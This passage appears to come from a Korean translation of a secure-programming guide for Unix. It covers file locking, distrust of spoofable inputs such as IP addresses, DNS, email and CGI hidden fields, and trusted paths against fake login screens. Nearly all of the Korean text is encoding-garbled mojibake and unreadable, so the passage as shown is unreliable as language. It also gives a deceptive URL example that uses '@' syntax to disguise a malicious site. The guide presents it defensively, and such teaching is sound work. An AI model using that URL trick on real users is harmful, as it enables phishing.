»ý¼ºÇØ¾ß ÇÑ´Ù. µ¿ÀÏ ¸Æ¶ôÀ¸·Î µð¹ÙÀ̽º ·ÎÅ© ÆÄÀÏ µîÀ» À§ÇØ ·ÎÅ© ÆÄÀÏÀ» /var/lock ¹Ø¿¡ ³õ¾Æ¾ß ÇÑ´Ù. ÀÌ Á¢±Ù ¹æ¹ýÀº ÇÁ·Î±×·¥ÀÌ °©ÀÚ±â Á¤ÁöÇÏ´Â °æ¿ì ÆÄÀϵéÀÌ ¾µµ¥¾øÀÌ ½Ã°£À» º¸³»°Ô ÇÏ´Â ´ÜÁ¡ÀÌ ÀÖÁö¸¸ À̴ ǥÁØÀûÀÎ ÇÕÀÇ·Î ´Ù¸¥ ½Ã½ºÅÛ µµ±¸¿¡ ÀÇÇØ ½±°Ô ´Ù·ïÁø´Ù.

·ÎÅ©¸¦ ³ªÅ¸³»±â À§ÇØ ÆÄÀÏ »ç¿ë¿¡ Çùµ¿Çϰí ÀÖ´Â ÇÁ·Î±×·¥µéÀº µ¿ÀÏÇÑ µð·ºÅ丮 À̸§¸¸ÀÌ ¾Æ´Ï¶ó µ¿ÀÏÇÑ µð·ºÅ丮¸¦ »ç¿ëÇÏ´Â °ÍÀÌ Áß¿äÇÏ´Ù. ÀÌ´Â ³×Æ®¿öũȭµÈ ½Ã½ºÅÛ¿¡ °ü·ÃµÈ ¹®Á¦ÀÌ´Ù. FHS ´Â ¸í½ÃÀûÀ¸·Î /var/run °ú /var/lock ´Â °øÀ¯ÇÒ ¼ö ¾ø´Â ¹Ý¸é /var/mail Àº °øÀ¯ÇÒ ¼ö ÀÖ´Ù°í ¾ð±ÞÇÑ´Ù. µû¶ó¼­ ÇϳªÀÇ ¸Ó½Å¿¡¼­ ·ÎÅ©°¡ ÀÛµ¿ÇÏ±æ ¿øÇÏÁö¸¸ ´Ù¸¥ ¸Ó½ÅÀ» °£¼·ÇÏÁö ¾Ê±æ ¿øÇÑ´Ù¸é /var/run °ú °°Àº °øÀ¯ÇÒ ¼ö ¾ø´Â µð·ºÅ丮¸¦ »ç¿ëÇØ¶ó (¿¹, °¢ ¸Ó½Å¿¡°Ô ÀÚ½ÅÀÇ ¼­¹ö¸¦ ±¸µ¿Çϵµ·Ï Çã¿ëÇÏ±æ ¿øÇÏ´Â °æ¿ì). ±×·¯³ª ³×Æ®¿öÅ©¿¡¼­ ÆÄÀÏÀ» °øÀ¯ÇÏ´Â ¸ðµç ¸Ó½ÅµéÀÌ ·ÎÅ©¸¦ µû¸£±æ ¿øÇÑ´Ù¸é °øÀ¯Çϰí ÀÖ´Â µð·ºÅ丮¸¦ »ç¿ëÇÒ Çʿ䰡 ÀÖ´Ù; /var/mail ÀÌ ÀÌ·¯ÇÑ À§Ä¡ÀÌ´Ù. ÀÌ ÁÖÁ¦¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§Çؼ­´Â FHS ÀýÀ» º¸¶ó.


6.8.2.2. ·ÎÅ·¿¡ ´ëÇÑ ´Ù¸¥ Á¢±Ù ¹æ¹ý

¹°·Ð ·ÎÅ©¸¦ ³ªÅ¸³»±â À§ÇØ ÆÄÀÏÀ» »ç¿ëÇÒ ÇÊ¿ä´Â ¾ø´Ù. ³×Æ®¿öÅ© ¼­¹öµéÀº ´ë°³ ½Å°æ¾µ Çʿ䰡 ¾ø´Ù: ´ÜÁö Æ÷Æ®¿¡ ¹ÙÀεùÇÑ´Ù´Â °Í¸¸ÀÌ ÀÏÁ¾ÀÇ ·ÎÅ©·Î¼­ ÀÛ¿ëÇϴµ¥ ÁÖ¾îÁø Æ÷Æ®¿¡ ¹Ù¿îµåµÈ ±âÁ¸ ¼­¹ö°¡ ÀÖ´Ù¸é ¾î¶°ÇÑ ´Ù¸¥ ¼­¹öµµ ÀÌ Æ÷Æ®¿¡ ¹ÙÀεù ÇÒ ¼ö ¾ø±â ¶§¹®ÀδÙ.

·ÎÅ·¿¡ ´ëÇÑ ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº "discretionary lock" ·Î¼­ fcntl(2) ¸¦ ÅëÇØ ±¸ÇöµÈ POSIX ·¹ÄÚµå ·ÎÅ©¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÌ´Â ÀÓÀÇ·Î, Áï À̸¦ »ç¿ëÇÏ´Â °ÍÀº ·ÎÅ©¸¦ ÇÊ¿ä·Î ÇÏ´Â ÇÁ·Î±×·¥µéÀÇ Çùµ¿À» ÇÊ¿ä·Î ÇÑ´Ù ( ·ÎÅ©¸¦ ³ªÅ¸³»±â À§ÇØ ÆÄÀÏÀ» »ç¿ëÇÏ´Â Á¢±Ù¹æ¹ý°ú ¸¶Âù°¡Áö·Î). POSIX ·¹ÄÚµå ·ÎÅ©¸¦ ÃßõÇÏ´Â ¸¹Àº ÀÌÀ¯°¡ ÀÖ´Ù: POSIX ·¹ÄÚµå ·ÎÅ·Àº °ÅÀÇ ¸ðµç À¯´Ð½º °è¿­ Ç÷§Æû (POSIX 1 ¿¡ ÀÇÇØ °­Á¦ÀûÀ¸·Î ¿ä±¸µÇ´Â) ¿¡¼­ Áö¿øµÇ¸ç, Àüü ÆÄÀϸ¸ÀÌ ¾Æ´Ñ ÆÄÀÏÀÇ ÀϺκÐÀ» ·ÎÅ©ÇÒ ¼ö ÀÖÀ¸¸ç ¶ÇÇÑ Àбâ¿Í ¾²±â ·ÎÅ©°£ÀÇ Â÷À̸¦ ´Ù·ê ¼ö ÀÖ´Ù. ´õ¿í À¯¿ëÇÑ °ÍÀº ÇÁ·Î¼¼½º°¡ ¼Ò¸êÇϸé ÀÌ ÇÁ·Î¼¼½ºÀÇ ·ÎÅ©µµ ÀÚµ¿ÀûÀ¸·Î Á¦°ÅµÈ´Ù´Â °ÍÀ¸·Î ÀÌ´Â º¸Åë ¿øÇÏ´Â »çÇ×ÀÌ´Ù.

System V ÀÇ mandatory ·ÎÅ· ½ºÅ´¿¡ ±âÃÊÇÑ °­Á¦ ·ÎÅ©µµ ¶ÇÇÑ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ´ÜÁö ·ÎÅ©µÈ ÆÄÀÏÀÇ setgid ºñÆ®°¡ ¼³Á¤µÇ¾î ÀÖÁö¸¸ ±×·ìÀÇ ½ÇÇà ºñÆ®°¡ ¼³Á¤µÇ¾î ÀÖÁö ¾ÊÀº ÆÄÀϸ¸¿¡ Àû¿ëµÈ´Ù. ¶ÇÇÑ °­Á¦ ÆÄÀÏ ·ÎÅ©¸¦ Çã¿ëÇϱâ À§ÇØ ÆÄÀϽýºÅÛÀ» ¸¶¿îÆ®ÇØ¾ß ÇÑ´Ù. ÀÌ·± °æ¿ì ¸ðµç read(2) ¿Í write(2) ´Â ·ÎÅ·À» À§ÇØ °Ë»çµÈ´Ù; ÀÌ´Â ±Ç°í ·ÎÅ©º¸´Ù ´õ¿í öÀúÇÏÁö¸¸ ´õ¿í ´À¸®´Ù. ¶ÇÇÑ °­Á¦ ·ÎÅ©´Â ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ¸·Î ³Î¸® À̽ĵÇÁö´Â ¾Ê´Â´Ù (¸®´ª½º¿Í System V ¿¡ ±âÃÊÇÑ ½Ã½ºÅÛ¿¡¼­´Â »ç¿ëÇÒ ¼ö ÀÖÁö¸¸ ´Ù¸¥ ½Ã½ºÅÛ¿¡¼­´Â ÇÊ¿äÇÑ °ÍÀº ¾Æ´Ï´Ù). ·çÆ® ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º´Â °­Á¦ ·ÎÅ©¿¡ ÀÇÇØ ¶ÇÇÑ Á¤ÁöµÉ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ´Â ¼­ºñ½º ºÎÀÎ °ø°ÝÀÇ ±âÃʰ¡ µÉ ¼ö ÀÖ°Ô²û ÇÑ´Ù.


6.9. ´ÜÁö ½Å·ÚÇÒ ¼ö Àִ ü³Î¸¸ ½Å·ÚÇØ¶ó

ÀϹÝÀûÀ¸·Î ½Å·ÚÇÒ ¼ö Àִ ä³Î·ÎºÎÅÍÀÇ Á¤º¸ (ÀÔ·Â ¹× °á°ú) ¸¸À» ½Å·ÚÇØ¶ó. ¿¹¸¦ µé¾î getlogin(3) ¹× ttyname(3) Àº Áö¿ª »ç¿ëÀÚ¿¡ ÀÇÇØ Á¦¾îµÉ ¼ö ÀÖ´Â Á¤º¸¸¦ ¹ÝȯÇϴµ¥ µû¶ó¼­ º¸¾È ¸ñÀû¿¡ ¸Â°Ô À̵éÀ» ½Å·ÚÇÏÁö ¸¶¶ó.

´ëºÎºÐÀÇ ÄÄÇ»ÅÍ ³×Æ®¿öÅ© (¹× ´ë°³ ÀÎÅͳÝÀÇ °æ¿ì) ¿¡¼­ ÀÎÁõ¹ÞÁö ¸øÇÑ Àü¼ÛÀº ½Å·ÚÇÒ ¼ö ¾ø´Ù. ¿¹¸¦ µé¾î ÀÎÅͳÝÀ» ÅëÇØ Àü¼ÛµÇ´Â ÆÐŶÀº Àü¼ÛÁß ¾ðÁ¦¶óµµ º¼ ¼ö ÀÖ°í ¼öÁ¤µÉ ¼ö ÀÖÀ¸¸ç ÀÓÀÇÀÇ »õ·Î¿î ÆÐŶÀÌ º¯Á¶µÉ ¼öµµ ÀÖ´Ù. ÀÌ·¯ÇÑ º¯Á¶µÈ ÆÐŶÀº ¸Ó½Å (IP) ÁÖ¼Ò ¹× Æ÷Æ®¿Í °°Àº ¼Û½ÅÀÚ ¶ÇÇÑ ¼öÁøÀÚ¿¡ ´ëÇÑ º¯Á¶µÈ Á¤º¸¸¦ Æ÷ÇÔÇÒ ¼öµµ ÀÖ´Ù. µû¶ó¼­ À̵éÀ» (°¡·É ¾Ïȣȭ¸¦ »ç¿ëÇØ) ÀÎÁõÇÒ ¼ö ¾ø´Ù¸é ÀÌ·¯ÇÑ °ªµéÀ» º¸¾È °áÁ¤À» À§ÇÑ ±Ùº»ÀûÀÎ ±âÁØÀ¸·Î »ç¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù.

À̴ Ưº°ÇÑ »óȲÀ» Á¦¿ÜÇϰí´Â TCP/IP ¿¡¼­ »ç¿ëÀÚ ÀÎÁõÀ» ÇÏ´Â µÎ °¡Áö ¿¹Àü ¹æ¹ýÀÌ À¯ÀÏÇÑ ÀÎÁõ ±â±¸·Î »ç¿ëµÉ ¼ö ¾øÀ½À» ÀǹÌÇÑ´Ù. ÇÑ ¹æ¹ýÀº µ¥ÀÌŸ ÆÐŶ³»ÀÇ ``from" ¸Ó½Å ÁÖ¼Ò¸¦ °Ë»çÇÔÀ¸·Î½á »ç¿ëÀÚ¸¦ ``ƯÁ¤ ¸Ó½Å"À¸·Î Á¦ÇÑÇÏ´Â °ÍÀÌ´Ù; ´Ù¸¥ ¹æ¹ýÀº ¼Û½ÅÀÚ°¡ ``½Å·ÚµÈ" Æ÷Æ® ³Ñ¹ö (1024º¸´Ù ÀÛÀº ³Ñ¹ö) ¸¦ »ç¿ëÇϵµ·Ï ÇÔÀ¸·Î½á Á¢±ÙÀ» Á¦ÇÑÇÏ´Â °ÍÀÌ´Ù. ¹®Á¦´Â ¸¹Àº ȯ°æ¿¡¼­ °ø°ÝÀÚ°¡ ÀÌ·¯ÇÑ °ªµéÀ» º¯Á¶ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.

¾î¶² ȯ°æ¿¡¼­´Â ÀÌ·¯ÇÑ °ªµéÀ» (¼Û½ÅÇÏ´Â ¸Ó½Å ÁÖ¼Ò ¹×/¶Ç´Â Æ÷Æ®) À» °Ë»çÇÏ´Â °ÍÀÌ »ó´çÈ÷ À¯¿ëÇÒ ¼ö Àִµ¥ µû¶ó¼­ ÇÁ·Î±×·¥¿¡¼­ ¿É¼ÇÀ¸·Î ±×·¯ÇÑ °Ë»ç¸¦ Áö¿øÇÏ´Â °ÍÀÌ ³ª»Û °³³äÀº ¾Æ´Ï´Ù. ¿¹¸¦ µé¾î ½Ã½ºÅÛÀÌ ¹æÈ­º®µÚ¿¡¼­ ÀÛµ¿Çϰí ÀÖ°í ¹æÈ­º®ÀÌ ÆÄ±«µÇ°Å³ª ¿ìȸµÉ ¼ö ¾ø°í ¹æÈ­º®ÀÌ ³»ºÎ·ÎºÎÅÍ ¿Ô´Ù°í ÁÖÀåÇÏ´Â ¿ÜºÎ ÆÐŶÀ» ¸·À» ¼ö ÀÖ´Ù¸é ³»ºÎ·ÎºÎÅÍ ¿Ô´Ù°í ¸»ÇÏ´Â ¸ðµç ÆÐŶÀº ½ÇÁ¦·Î ³»ºÎ¿¡¼­ ¿Ô´Ù°í ÁÖÀåÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ÆÐŶÀÌ ¿Ô´Ù°í ÁÖÀåÇÏ´Â ¸Ó½ÅÀ¸·ÎºÎÅÍ ½ÇÁ¦·Î ¿Ô´Ù°í È®½ÅÇÒ ¼ö´Â ¾øÀ½À» ÁÖ¸ñÇØ¶ó - µû¶ó¼­ ³»ºÎ À§ÇùÀÌ ¾Æ´Ñ ¿ÜºÎ À§Çù¿¡ ´ëÃ³ÇØ¾ß ÇÑ´Ù. ÆÄ±«µÈ ¹æÈ­º®, ¼±ÅÃÀûÀÎ °æ·Î ¹× ¸ð¹ÙÀÏ ÄÚµå´Â ÀÌ·¯ÇÑ °¡Á¤À» ´õ¿í ÀǽÉÇÏ°Ô ÇÑ´Ù.

¹®Á¦´Â ´©±º°¡¸¦ ÀÎÁõÇÏ´Â ¹æ¹ýÀ¸·Î ½Å·ÚÇÒ ¼ö ¾ø´Â Á¤º¸¸¦ Áö¿øÇϰí ÀÖ´Â °ÍÀÌ´Ù. ½Å·ÚµÇÁö ¾ÊÀº ³×Æ®¿öÅ©¸¦ ÅëÇØ ½Å·ÚÇÒ ¼ö Àִ ä³ÎÀÌ ÇÊ¿äÇÏ´Ù¸é ¾î¶² ¾Ïȣȭ ¼­ºñ½º°¡ ÇÊ¿äÇÏ´Ù (ÃÖ¼ÒÇÑ ¾ÏÈ£ÇÐÀûÀ¸·Î ¾ÈÀüÇÑ ÇØ½Ã); ¾Ïȣȭ ¾Ë°í¸®µë°ú ÇÁ·ÎÅäÄÝ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 10.5절 À» º¸¶ó. ftp ¿Í rlogin °ú °°Àº Ç¥ÁØÀûÀÌÁö¸¸ º»ÁúÀûÀ¸·Î ºñº¸¾ÈÀûÀÎ ÇÁ·ÎÅäÄÝÀ» ±¸ÇöÇϰí ÀÖ´Ù¸é ¾ÈÀüÇÑ µðÆúÆ®¸¦ Á¦°øÇÏ°í °¡Á¤µéÀ» ¸íÈ®ÇÏ°Ô ¹®¼­È­Çضó.

DNS (Domain Name Server) ´Â ÄÄÇ»ÅÍ À̸§°ú IP °£ÀÇ ¸ÅÇÎ (mapping) À» À§ÇØ ÀÎÅͳݿ¡¼­ ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù. ``¿ª (reverse) DNS" ¶ó´Â ±â¹ýÀº ¾î¶² °£´ÜÇÑ ½ºÇªÇÎ °ø°ÝÀ» Á¦°ÅÇϸç È£½ºÆ® À̸§À» °áÁ¤Çϴµ¥ ÀÖ¾î À¯¿ëÇÏ´Ù. ±×·¯³ª ÀÌ ±â¹ýÀº ÀÎÁõ °áÁ¤À» ÇÒ¸¸Å­ ½Å·ÚÇÒ ¼ö ÀÖ´Â °ÍÀº ¾Æ´Ï´Ù. ¹®Á¦´Â °á±¹ DNS ¿äûÀÌ °á°úÀûÀ¸·Î °ø°ÝÀÚ°¡ Á¦¾îÇÒ ¼öµµ ÀÖ´Â ¾î¶² ¿ø°Ý ½Ã½ºÅÛÀ¸·Î º¸³»Áú °ÍÀ̶ó´Â °ÍÀÌ´Ù. µû¶ó¼­ DNS °á°ú¸¦ È®ÀÎÀÌ ÇÊ¿äÇÑ ÀÔ·ÂÀ¸·Î ó¸®ÇÏ°í ¾ö°ÝÇÑ Á¢±Ù Á¦¾î¸¦ À§ÇØ À̸¦ ½Å·ÚÇÏÁö ¸¶¶ó.

ÀÓÀÇÀÇ À̸ÞÀÏ (ÁÖ¼ÒÀÇ "from" °ªµéÀ» Æ÷ÇÔÇØ) µµ ¶ÇÇÑ º¯Á¶µÉ ¼ö ÀÖ´Ù. µðÁöÅÐ ÀÎÁõ¼­ »ç¿ëÀÌ ÀÌ·¯ÇÑ ¸¹Àº °ø°ÝÀ» ¹æÇØÇÏ´Â ¹æ¹ýÀε¥ ´õ¿í ¼Õ½¬¿î ¹æ¹ýÀº Ưº°È÷ ÀÓÀÇ·Î »ý¼ºµÈ °ªÀ» °®°í À̸ÞÀÏÀÌ ¼Û¼ö½ÅµÇ¾ß ÇÔÀ» ¿ä±¸ÇÏ´Â °ÍÀ¸·Î ÀÌ´Â °ø°³ ¸ÞÀϸµ ¸®½ºÆ®¿¡ ¼­¸íÇÏ´Â °Í°ú °°Àº Áß¿äÇÏÁö ¾ÊÀº Æ®·£Àè¼Ç¿¡ ´ëÇØ º¸Åë Çã¿ëÇÒ ¼ö ÀÖ´Ù.

CGI ¸¦ Æ÷ÇÔÇÏ¿© ¸ðµç Ŭ¶óÀ̾ðÆ®/¼­¹ö ¸ðµ¨¿¡¼­ ¼­¹ö´Â Ŭ¶óÀÌ¾ðÆ® (¶Ç´Â Ŭ¶óÀÌ¾ðÆ®¿Í ¼­¹ö»çÀÌ¿¡¼­ ÁßÀçÇÏ´Â ´©±º°¡) °¡ ¸ðµç °ªÀ» ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù°í °¡Á¤ÇÔÀ» ÁÖ¸ñÇØ¶ó. ¿¹¸¦ µé¾î ¼ÒÀ§ ¼û°ÜÁø Çʵå¿Í ÄíŰ °ªÀº CGI ÇÁ·Î±×·¥ÀÌ ¹Þ±â Àü¿¡ Ŭ¶óÀÌ¾ðÆ®¿¡ ÀÇÇØ º¯°æµÉ ¼ö ÀÖ´Ù. À̵éÀº Ưº°ÇÑ ¿¹¹æ Á¶Ä¡¸¦ ÃëÇÏÁö ¾Ê¾Ò´Ù¸é ½Å·ÚµÉ ¼ö ¾ø´Ù. ¿¹¸¦ µé¾î ¼­¹ö°¡ ¼­¸íÀ» °Ë»çÇÏ´Â ÇÑ Å¬¶óÀÌ¾ðÆ®°¡ º¯Á¶ÇÒ ¼ö ¾øµµ·Ï ¼û°ÜÁø Çʵ尡 ¼­¸íµÉ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¼û°ÜÁø Çʵå´Â ¶ÇÇÑ ´ÜÁö ½Å·ÚµÈ ¼­¹ö¸¸ÀÌ º¹È£È­ÇÒ ¼ö ÀÖµµ·Ï ۸¦ »ç¿ëÇØ¼­ ¾ÏȣȭµÉ ¼ö ÀÖ´Ù (ÀÌ ¹æ¹ýÀÌ Kerberos ÀÎÁõ ½Ã½ºÅÛÀÇ ±âº» °³³äÀÌ´Ù). InfoSec ·¦Àº È÷µç Çʵå¿Í ¾Ïȣȭ Àû¿ë¿¡ ´ëÇØ ´õ¿í ±íÀº ³íÀǸ¦ Çϰí ÀÖ´Ù http://www.infoseclabs.com/mschff/mschff.htm. ÀϹÝÀûÀ¸·Î Ŭ¶óÀ̾ðÆ®/¼­¹ö ¸ðµ¨¿¡¼­ °ü½ÉÀÖ´Â µ¥ÀÌŸ¸¦ ¼­¹öÂÊ¿¡ À¯ÁöÇÏ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù. °°Àº ¸Æ¶ôÀ¸·Î CGI ÇÁ·Î±×·¥¿¡¼­ ÀÎÁõÀ» À§ÇÑ HTTP_REFERER ´Â »ç¿ëÀÚ ºê¶ó¿ìÀú (À¥¼­¹ö°¡ ¾Æ´Ñ) ¿¡ ÀÇÇØ º¸³»Áö±â ¶§¹®¿¡ ÀÌ¿¡ ÀÇÁ¸ÇÏÁö ¸¶¶ó.

ÀÌ ³íÀÇ´Â ´Ù¸¥ µ¥ÀÌŸ¸¦ ÂüÁ¶ÇÏ´Â µ¥ÀÌŸ¿¡µµ ¶ÇÇÑ Àû¿ëµÈ´Ù. ¿¹¸¦ µé¾î HTML ¶Ç´Â XML Àº ÂüÁ¶¿¡ ÀÇÇØ ¿ø°ÝÀûÀ¸·Î ÀúÀåµÉ ¼öµµ ÀÖ´Â ´Ù¸¥ ÆÄÀÏ (¿¹, DTD ¹× ½ºÅ¸ÀÏ½ÃÆ®) À» Æ÷ÇÔÇϵµ·Ï ÇÑ´Ù. ±×·¯³ª ÀÌ·¯ÇÑ ¿ÜºÎ ÂüÁ¶´Â »ç¿ëÀÚ°¡ ÀǵµÇÑ ¹Ù¿Í ¸Å¿ì ´Ù¸¥ ¹®¼­¸¦ º¸µµ·Ï ¼öÁ¤µÉ ¼ö ÀÖ´Ù; ½ºÅ¸ÀÏ½ÃÆ®°¡ Áß¿äÇÑ À§Ä¡ÀÇ ´Ü¾îµéÀ» ¿©¹éÀ¸·Î ÇÏ°í ¿Ü¾çÀ» ÈäÇÏ°Ô Çϰųª »õ·Î¿î ÅØ½ºÆ®¸¦ Ãß°¡Çϱâ À§ÇØ ¼öÁ¤µÉ ¼ö ÀÖ´Ù. ¿ÜºÎ DTD ´Â ¹®¼­ÀÇ »ç¿ëÀ» ¹æÇØ (À¯È¿¼ºÀ» ±ú¶ß¸®´Â ¼±¾ð Ãß°¡¸¦ ÅëÇØ) ¶Ç´Â ¹®¼­¿¡ ´Ù¸¥ ÅØ½ºÆ®¸¦ Ãß°¡Çϱâ À§ÇØ ¼öÁ¤µÉ ¼ö ÀÖ´Ù [St. Laurent 2000].


6.10. ½Å·ÚµÈ °æ·Î¸¦ ¼³Á¤Çضó

½Å·ÚÇÒ ¼ö Àִ ä³Î (6.9절 ¸¦ º¸¶ó) ÀÌ ÇÊ¿äÇÑ ¶Ç´Ù¸¥ ÀÌÀ¯´Â »ç¿ëÀÚ°¡ »ç¿ëÇÏ·Á°í ÀǵµÇß´ø ÇÁ·Î±×·¥ ¶Ç´Â ½Ã½ºÅÛÀ» ½ÇÁ¦·Î »ç¿ëÇϰí ÀÖÀ½À» º¸ÀåÇÏ´Â °ÍÀÌ´Ù.

ÀüÅëÀûÀÎ ¿¹´Â ``°¡Â¥ ·Î±ä" ÇÁ·Î±×·¥ÀÌ´Ù. ½Ã½ºÅÛÀÇ ·Î±ä ½ºÅ©¸°Ã³·³ º¸ÀÌ´Â ÇÁ·Î±×·¥ÀÌ ÀÛ¼ºµÈ´Ù¸é ÀÌ´Â ½ÇÇàµÈ »óÅ·Π³²¾ÆÀÖÀ» ¼ö ÀÖ´Ù. µû¶ó¼­ »ç¿ëÀÚ°¡ ·Î±×ÀÎÇÏ·Á°í ÇÒ ¶§ °¡Â¥ ·Î±ä ÇÁ·Î±×·¥Àº ÃßÈÄ »ç¿ëÀ» À§ÇØ »ç¿ëÀÚÀÇ ÆÐ½º¿öµå¸¦ ¾Ë¾Æ³¾ ¼ö ÀÖ´Ù.

ÀÌ ¹®Á¦¿¡ ´ëÇÑ ÇØ°á ¹æ¹ýÀº ``½Å·ÚµÈ °æ·Î" ÀÌ´Ù. ½Å·ÚµÈ °æ·Î´Â °ø°ÝÀÚ°¡ ¾î¶² Á¤º¸°¡ ÀüÇØÁö°í ÀÖ´ÂÁö¸¦ °¡·Îä°Å³ª ¼öÁ¤ÇÒ ¼ö ¾øÀ½À» º¸ÀåÇϸ鼭 »ç¿ëÀÚ°¡ Åë½ÅÇÏ·Á°í Çß´ø »ç¿ëÀÚ¿Í Åë½ÅÇϰí ÀÖ´Ù´Â È®½ÅÀ» Á¦°øÇÑ´Ù.

ÆÐ½º¿öµå¸¦ ¿äûÇÏ·Á¸é ½Å·ÚµÇ´Â °æ·Î¸¦ ¼³Á¤ÇÏ·Á°í ÇØ¶ó. ºÒÇàÈ÷ ¸®´ª½º¿Í ´ëºÎºÐÀÇ ´Ù¸¥ À¯´Ð½º´Â ÀÏ¹Ý ·Î±ä °úÁ¤¿¡¼­Á¶Â÷ ½Å·ÚµÇ´Â °æ·Î¸¦ °®°í ÀÖÁö ¾Ê´Ù. ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº À©µµ¿ì NT/2000 ¿¡¼­ ·Î±ëÀü¿¡ "control-alt-delete" ۸¦ »ç¿ëÇÏ´Â °Í°ú °°ÀÌ º¯Á¶ÇÒ ¼ö ¾ø´Â ۸¦ ´©¸£µµ·Ï ¿äûÇÏ´Â °ÍÀÌ´Ù; À©µµ¿ì¿¡¼­ ÀÏ¹Ý ÇÁ·Î±×·¥Àº ÀÌ Å°¸¦ °¡·Îç ¼ö ¾ø±â ¶§¹®¿¡ ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀº ½Å·ÚµÈ °æ·Î¸¦ »ý¼ºÇÑ´Ù. ¸®´ª½º¿¡µµ Secure Attention Key (SAK) ¶ó´Â µ¿ÀÏÇÑ ¹æ¹ýÀÌ ÀÖ´Ù; ``control-alt-pause" ·Î »ç»óµÇ´Â °ÍÀÌ ÃßõµÈ´Ù. ºÒÇØÀÌ ÀÌ ¹®¼­ ÀÛ¼º ½ÃÁ¡¿¡´Â SAK ´Â ¹Ì¿Ï¼ºÀÌ°í ¸®´ª½º ¹èÆ÷ÆÇ¿¡ ÀÇÇØ Àß Áö¿øµÇÁö ¾Ê°í ÀÖ´Ù. ½Å·ÚµÇ´Â °æ·Î¸¦ Áö¿ªÀûÀ¸·Î ±¸ÇöÇÏ´Â ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº ´ÜÁö ·Î±×ÀÎ ÇÁ·Î±×·¥¸¸ÀÌ ¼öÇàÇÒ ¼ö ÀÖ´Â º°µµÀÇ È­¸é Ç¥½Ã¸¦ Á¦¾îÇÏ´Â °ÍÀÌ´Ù. ¿¹¸¦ µé¾î ´ÜÁö ½Å·ÚµÈ ÇÁ·Î±×·¥¸¸ÀÌ Å°º¸µå light (Num Lock, Caps Lock ¹× Scroll Lock ¸¦ ³ªÅ¸³»´Â LED) ¸¦ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù¸é ·Î±×ÀÎ ÇÁ·Î±×·¥Àº ½ÇÁ¦ ·Î±×ÀÎ ÇÁ·Î±×·¥À̶ó´Â °ÍÀ» ³ªÅ¸³»´Â ±¸µ¿ ÆÐÅÏÀ» Ç¥½ÃÇÒ ¼ö ÀÖ´Ù. ºÒÇàÈ÷ ÇöÀç ¸®´ª½º¿¡¼­ ÀÏ¹Ý »ç¿ëÀÚ°¡ LED ¸¦ º¯°æÇÒ ¼ö Àֱ⠶§¹®¿¡ LED °¡ ½Å·ÚµÈ °æ·Î¸¦ È®ÀÎÇϱâ À§ÇØ »ç¿ëµÉ ¼ö´Â ¾ø´Ù.

³×Æ®¿öũȭµÈ ¾ÖÇø®ÄÉÀ̼Ç, ƯÈ÷ À¥ ±â¹Ý ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇØ ½Å·ÚµÈ °æ·Î¸¦ °®´Â °Í¸¸À¸·Î ÃæºÐÇÏÁö ¾Ê´Ù°í ÆÇ¸íµÇ¾ú´Ù. À¥ ºê¶ó¿ìÀú »ç¿ëÀÚ·Î ÇÏ¿©±Ý ½ÇÁ¦ ¾î¶² Àå¼Ò¿¡ ÀÖÁö¸¸ »ç½Ç À̶§ ´Ù¸¥ Àå¼Ò¿¡ ÀÖµµ·Ï »ý°¢ÇÏ°Ô ÇÏ´Â °øÀÎµÈ ¹æ¹ýµéÀÌ ÀÖ´Ù. ¿¹¸¦ µé¾î Felten [1997] Àº »ç¿ëÀÚ°¡ ¾î¶² À¥ ÆäÀÌÁö¸¦ º¸°í ÀÖÁö¸¸ »ç½Ç À̶§ ±×µéÀÌ º¸´Â ¸ðµç À¥ ÆäÀÌÁö°¡ °ø°ÝÀÚÀÇ »çÀÌÆ® ( ¸ðµç Æ®·¡ÇÈÀ» °¨½ÃÇÏ°í ¾ç¹æÇâÀ¸·Î º¸³»Áö´Â ¸ðµç µ¥ÀÌŸ¸¦ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù) ·ÎºÎÅÍ Àü¼ÛµÇ´Â °ÍÀÎ ``À¥ ½ºÇªÇÎ" À» ³íÀÇÇϰí ÀÖ´Ù. ÀÌ´Â URL À» ÀçÀÛ¼ºÇÔÀ¸·Î½á °¡´ÉÇѵ¥, ÀçÀÛ¼ºµÈ URL Àº »óÅ ¶óÀÎ, À§Ä¡ ¶óÀÎ µî¿¡¼­ ¸ðµç °¡´ÉÇÑ Áõ°Å¸¦ °¨Ãß´Â ´Ù¸¥ ±â¼ú (ÀÚ¹Ù½ºÅ©¸³Æ®¿Í °°Àº) À» »ç¿ëÇØ °ÅÀÇ ¾Èº¸ÀÌ°Ô ¸¸µé ¼ö ÀÖ´Ù. ´õ¿í ¼¼ºÎÀûÀÎ »çÇ×Àº ³í¹®À» º¸¶ó. ÀÌ·¯ÇÑ URL À» °¨Ãß´Â ´Ù¸¥ ¹æ¹ýÀº °ÅÀÇ »ç¿ëµÇÁö ¾Ê´Â URL ±¸¹®À» ¾Ç¿ëÇÏ´Â °ÍÀÌ´Ù. ¿¹¸¦ µé¾î ``http://www.ibm.com/stuff@mysite.com'' URL Àº ÀÌ»óÇÑ »ç¿ëÀÚ À̸§ ``www.ibm.com/stuff" ¸¦ ÀÌ¿ëÇØ ``mysite.com" (¾î¼¸é ¾ÇÀÇÀÖ´Â »çÀÌÆ®) À» º¸±â À§ÇØ ¿äûÇÏ´Â °ÍÀÌ´Ù. URL ÀÌ ÃæºÐÈ÷ ±æ´Ù¸é ½ÇÁ¦ 